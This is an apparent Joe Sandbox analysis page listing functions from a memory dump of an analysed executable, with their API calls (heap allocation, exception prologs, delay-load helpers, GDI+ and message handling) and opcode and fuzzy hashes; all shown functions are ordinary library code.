Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6fea197415152e607a1501be008ef5c2d4652320f81f411bc7684cc1d60e22bd
Instruction ID: 98c6b811711d1d4ef2ef83e1f6947009277af9367b417c33d8d28000b4c8ded2
Opcode Fuzzy Hash: 6fea197415152e607a1501be008ef5c2d4652320f81f411bc7684cc1d60e22bd
Instruction Fuzzy Hash: 56216B76C04249AACF15EF98D9519EEB7B4EF19300F1445EAE809A7202E635AE05CB70

Function 00D790D0 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D790D5

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 116e3f9ba3860b8744da774d5b8fdb76ebed9677e6fefea93668cf1f966e4c64
Instruction ID: f0bba1975c9dbaec8f1028de928450a0a837b9c240eaffb48a7cd1a393fa7c63
Opcode Fuzzy Hash: 116e3f9ba3860b8744da774d5b8fdb76ebed9677e6fefea93668cf1f966e4c64
Instruction Fuzzy Hash: A6118273A50529ABCF12AF68DC969DEB736FF48740F448525FC19B7221EA309C1087B0

Function 00D959FC Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00D923AA,?,0000015D,?,?,?,?,00D92F29,000000FF,00000000,?,?), ref: 00D95A2E

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cc2550cbeacabc985f88e6f3733e65e2b35380c32e56cfcf14b0f46c5d9fea01
Instruction ID: ca9b6ae4483df8eb441445818eb9bc96ebc9fc4a5c3fa963fc62e0d51f7a3e6d
Opcode Fuzzy Hash: cc2550cbeacabc985f88e6f3733e65e2b35380c32e56cfcf14b0f46c5d9fea01
Instruction Fuzzy Hash: 75E0E531141A215AEF332B61BC42B5A3648EF113A4F090330BC0696198CB31EC0143BC

Function 00D75B35 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D75B3A

Part of subcall function 00D7AC66: __EH_prolog.LIBCMT ref: 00D7AC6B

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: eceadb9d1162091986880e2d5be269782890fba15e7d59a12775e7e31ca84dfb
Instruction ID: 89fd62af7f674fb750a75231c5773465c66cdd635beec110b5d6cc677ae01400
Opcode Fuzzy Hash: eceadb9d1162091986880e2d5be269782890fba15e7d59a12775e7e31ca84dfb
Instruction Fuzzy Hash: 83014B34904785DACB25E7A8D4557EDB7E4DB56304F40C0ADAC5D53282EBB42B08A773

Function 00D7A145 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00D7A174

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9d1ab9b9ae366b16f744061ba7cb9696aafb6369884e07efbf530a5b7d01c4c6
Instruction ID: e2acae4c6eeeae6aae84edbcffa0fb9244e2053b013f6bf271062f14eb4d3dcb
Opcode Fuzzy Hash: 9d1ab9b9ae366b16f744061ba7cb9696aafb6369884e07efbf530a5b7d01c4c6
Instruction Fuzzy Hash: 85F0E232409380EEDE229BB88805BCFBB909F46331F04CA49F5FD42192D27550858733

Function 00D71E8E Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D71E93

Part of subcall function 00D718F6: __EH_prolog.LIBCMT ref: 00D718FB

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a7a813fedcd63dc8f3b543698381bd09c0d1850705d4613e7a27206a65b13dd3
Instruction ID: 5cd1baf3a1865dc6d40fb121df5d0e323bd852255ab33f658f1eaeb656c609cd
Opcode Fuzzy Hash: a7a813fedcd63dc8f3b543698381bd09c0d1850705d4613e7a27206a65b13dd3
Instruction Fuzzy Hash: C6F07FB1D112999ECF41EFA898456EEBBB5FB18300F1442BAE419E7202E7355A048BB1

Function 00D71E93 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D71E93

Part of subcall function 00D718F6: __EH_prolog.LIBCMT ref: 00D718FB

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e0ae847181b1538d67acaf3b877b1e0c0f52bda45648bd320df295aee16f3314
Instruction ID: dee17ed370d67eb83122d57f3bca8c2255cb4dae58460c117e48926600c51b36
Opcode Fuzzy Hash: e0ae847181b1538d67acaf3b877b1e0c0f52bda45648bd320df295aee16f3314
Instruction Fuzzy Hash: 89F092B1C112999ECF41EFA8C8456EEBBF5FB18300F1442BAD409E7202E7355604CBA1

Function 00D7F8F2 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00D7F927

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 07c28294e20dfa31d49eb27096ed032a1a0f2370ea7936acb3bcfd1b49cf32fb
Instruction ID: 3eb4f0c8f4dc93f23564a7e0dacaf0a95c3c20d88b92d9af6152acbe8ecd9c89
Opcode Fuzzy Hash: 07c28294e20dfa31d49eb27096ed032a1a0f2370ea7936acb3bcfd1b49cf32fb
Instruction Fuzzy Hash: 03D0C25031421026D63133286806BBD19078FCB320F094036B108923D2FA45485AA2F2

Function 00D88B65 Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00D88B6B

Part of subcall function 00D88924: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D88945

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 15c49645ae947bc9d886009c95b2f94d8af3cf3aba4b9e0e598e8e73a7603f1a
Instruction ID: 85a8c35c879e74609115719707c16e08df10062595880c9249f6f482a5a0cbbb
Opcode Fuzzy Hash: 15c49645ae947bc9d886009c95b2f94d8af3cf3aba4b9e0e598e8e73a7603f1a
Instruction Fuzzy Hash: 44D0A77060010CBBDF507E618C0297DBAD8DB41390F848135BC0496150EE72ED117771

Function 00D7971A Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00D7964C), ref: 00D79726

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: dbcd1c53a21abc35dc6e448362e4e88013c482f8a56566ffd26d8742712da74f
Instruction ID: ce54b454ad704a3cb8d42b2c0147650ad2bd07e4ea00fe25e2b1469e50348282
Opcode Fuzzy Hash: dbcd1c53a21abc35dc6e448362e4e88013c482f8a56566ffd26d8742712da74f
Instruction Fuzzy Hash: 5FD01232031240958E790E385D29066AA619B433A6B3CDAE4E06DC40A1E722C843F551

Function 00D8BF77 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00D8BF9C

Part of subcall function 00D8991E: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D8992F
Part of subcall function 00D8991E: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D89940
Part of subcall function 00D8991E: TranslateMessage.USER32(?), ref: 00D8994A
Part of subcall function 00D8991E: DispatchMessageW.USER32(?), ref: 00D89954

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: 646f1b4e6b3f10567c2920ed1f51509e6cefdc73aadb111a0e96b02156015773
Instruction ID: 905c30c93b2cf25aa30e5289a6b952b1558773607d93e6e3823b4d72f7d35dc1
Opcode Fuzzy Hash: 646f1b4e6b3f10567c2920ed1f51509e6cefdc73aadb111a0e96b02156015773
Instruction Fuzzy Hash: D5D09E32144301EAD6113B51CD06F1ABAA2FB8CB04F004A58B284740B1C6629D30EB32

Function 00D8C7C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C799

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 56c32fef0abab804ad4231ee43e33fa4836654294402f756f4f0ba7db26d5148
Instruction ID: 65660d52748c95765ac5b59fbc44367a2563ab03cd8d88a72835b75e52b13029
Opcode Fuzzy Hash: 56c32fef0abab804ad4231ee43e33fa4836654294402f756f4f0ba7db26d5148
Instruction Fuzzy Hash: EFB012912BD002ED3148F2089D02D37010DC0C2B10330D51FF841C1340E9944C5D9236

Function 00D8C787 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C799

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2eded0b64ca0776c40088182a90b4e26b282bac7e7e3b2243a80d99150d11727
Instruction ID: 7c0c4cbc39349cc10071c0bba226fc8f32541ab72b0e1d149a4c6320fca1ed79
Opcode Fuzzy Hash: 2eded0b64ca0776c40088182a90b4e26b282bac7e7e3b2243a80d99150d11727
Instruction Fuzzy Hash: 03B01291279102FD3148B2045C42C37010DC0C3B10330D51FFC41C0240EA904C5C9136

Function 00D8C7B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C799

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c4462cf333744aff496f6ce34c03739914bbf8627dd1b240013270dc1c735595
Instruction ID: c96af21de2e0ec2aea80e3af0f993566472b8a62af5b0e51ccb7e9654ca3a9d4
Opcode Fuzzy Hash: c4462cf333744aff496f6ce34c03739914bbf8627dd1b240013270dc1c735595
Instruction Fuzzy Hash: CDB01291279105ED3188F3095C02D37110CD0C2B10330D51FF840C0340E9A04C58933A

Function 00D8C75F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C738

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 74b8b9cc17004f03e95a0e14bab18eb78fa4d7f2511e368b09412b9029852df5
Instruction ID: 6dbf796c5c0a2573ec390f61ec58bc7235209ab50fdc78606b23bec2b8e275fc
Opcode Fuzzy Hash: 74b8b9cc17004f03e95a0e14bab18eb78fa4d7f2511e368b09412b9029852df5
Instruction Fuzzy Hash: 71B01292279201ED3148F3587F02D37014CC0C2F10330551FF800C0240F9544C059732

Function 00D8C74B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C738

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3ad0c7c185a6ef0814fe0047962ca8344151506b8f015047b45f485f9b35bc61
Instruction ID: 717c2cdbff16ffd6e6162027173867edd4d3c2e332f8ed2602e6e0d046275df3
Opcode Fuzzy Hash: 3ad0c7c185a6ef0814fe0047962ca8344151506b8f015047b45f485f9b35bc61
Instruction Fuzzy Hash: 2FB01292279101EC3248F3582D02D37014CC0C2F10330951FFC00C0240E9504C049732

Function 00D8C741 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C738

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1d98e65b5426c5585bbfeb509851c88ec7ffe5f103a9424c203f9c8a1daa0d93
